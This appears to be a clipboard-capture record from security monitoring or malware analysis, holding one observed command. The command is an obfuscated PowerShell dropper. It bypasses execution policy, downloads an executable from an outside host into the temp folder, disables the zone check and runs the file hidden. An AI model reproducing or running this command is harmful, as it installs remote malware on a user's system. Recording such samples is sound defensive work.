CLIPBOARD OBSERVATION
Clipboard observation #01
clipboard
259 captured bytes
powershell -NoP -w h -ep bypass -c "$b=New-Object UriBuilder('https','bapak178.org',443,'/07c733a1.exe');$f=$env:TEMP+'\u.exe';&('Invo'+'ke-Web'+'Request')($b.Uri) -OutFile $f -UseBasicParsing;$env:SEE_MASK_NOZONECHECKS=1;Start-Process $f -WindowStyle Hidden"